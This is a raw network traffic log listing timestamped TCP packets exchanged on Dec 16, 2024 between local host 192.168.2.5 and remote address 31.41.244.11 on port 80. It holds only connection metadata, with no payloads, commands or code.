Dec 16, 2024 09:01:34.044630051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.045269966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.045325041 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.045382977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.045435905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.046113968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.046169043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.046214104 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.046267033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.046933889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.046994925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.047039986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.047087908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.047771931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.047827005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.047867060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.047919035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.048593998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.048645973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.048777103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.048829079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.049432039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.049485922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.049531937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.049577951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.050242901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.050307035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.050350904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.050399065 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.051064014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.051119089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.051165104 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.051212072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.051919937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.051970005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.052011967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.052058935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.052716017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.052762032 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.052830935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.052881956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.053550005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.053596973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.053639889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.053682089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.054408073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.054455996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.054518938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.054567099 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.055207968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.055254936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.055334091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.055382013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.056035042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.056082010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.056142092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.056189060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.056865931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.056915045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.056989908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.057034969 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.057811022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.057858944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.057974100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.058024883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.058468103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.058525085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.061054945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.061104059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.061152935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.061199903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.061466932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.061520100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.061563015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.061610937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.062308073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.062355042 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.062397957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.062443972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.063093901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.063141108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.210299015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.210352898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.210388899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.210422993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.210443020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.210495949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.210582018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.210639000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.211293936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.211349964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.211407900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.211463928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.212191105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.212227106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.212244034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.212271929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.213066101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.213102102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.213119984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.213145971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.213808060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.213860035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.213862896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.213907957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.214678049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.214713097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.214729071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.214751005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.215384960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.215437889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.215504885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.215549946 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.216335058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.216372013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.216389894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.216408014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.217052937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.217119932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.217150927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.217206001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.217884064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.217972040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.217995882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.218046904 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.218775034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.218808889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.218827963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.218854904 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.219676018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.219710112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.219759941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.219777107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.220376968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.220433950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.220536947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.220593929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.221190929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.221246004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.221299887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.221353054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.222022057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.222076893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.222141981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.222191095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.222877026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.222929001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.222961903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.223015070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.223891020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.223923922 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.223939896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.223964930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.224684954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.224739075 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.224833965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.224885941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.225370884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.225429058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.225439072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.225488901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.226824045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.226876974 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.227098942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.227114916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.227130890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.227150917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.227168083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.227178097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.227808952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.227854013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.227897882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.227941990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.228651047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.228703022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.228708029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.228745937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.229547977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.229563951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.229597092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.229614973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.230236053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.230283976 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.230653048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.230699062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.231177092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.231194019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.231225014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.231245995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.231898069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.231942892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.232023954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.232069016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.232839108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.232856989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.232883930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.232898951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.233669043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.233685970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.233712912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.233728886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.234503984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.234519958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.234544992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.234563112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.235215902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.235264063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.235265017 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.235306025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.236104012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.236155987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.236162901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.236203909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.236939907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.236987114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.236988068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.237030029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.237745047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.237762928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.237795115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.237809896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.238533974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.238584042 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.238627911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.238672972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.239343882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.239392996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.239439964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.239483118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.240209103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.240257025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.240284920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.240325928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.241004944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.241051912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.241120100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.241163015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.241942883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.241959095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.241986990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.242001057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.242711067 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.242770910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.242796898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.242813110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.243628025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.243643999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.243670940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.243686914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.244452953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.244468927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.244501114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.244517088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.245127916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.245167971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.245254993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.245299101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.246023893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.246072054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.246222973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.246263027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.246812105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.246855021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.246918917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.246957064 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.247718096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.247735023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.247777939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.247792959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.248537064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.248553038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.248590946 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.248605967 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.249345064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.249361038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.249397993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.249428988 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.250133038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.250200033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.250202894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.250246048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.253179073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.253195047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.253237963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.253253937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.253509998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.253561020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.253586054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.253626108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.254240036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.254256964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.254285097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.254311085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.255023003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.255037069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.255069971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.255090952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.402225971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.402291059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.402451992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.402503967 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.402635098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.402687073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.403131008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.403176069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.403386116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.403434992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.403604984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.403656006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.404242039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.404292107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.404371023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.404422998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.405206919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.405244112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.405256033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.405289888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.406069040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.406104088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.406119108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.406145096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.406831980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.406866074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.406884909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.406912088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.407558918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.407612085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.408368111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.408418894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.408418894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.408454895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.408468962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.408495903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.409301043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.409334898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.409356117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.409379959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.410126925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.410161018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.410181046 CET	49866	80	192.168.2.5	31.41.244.11
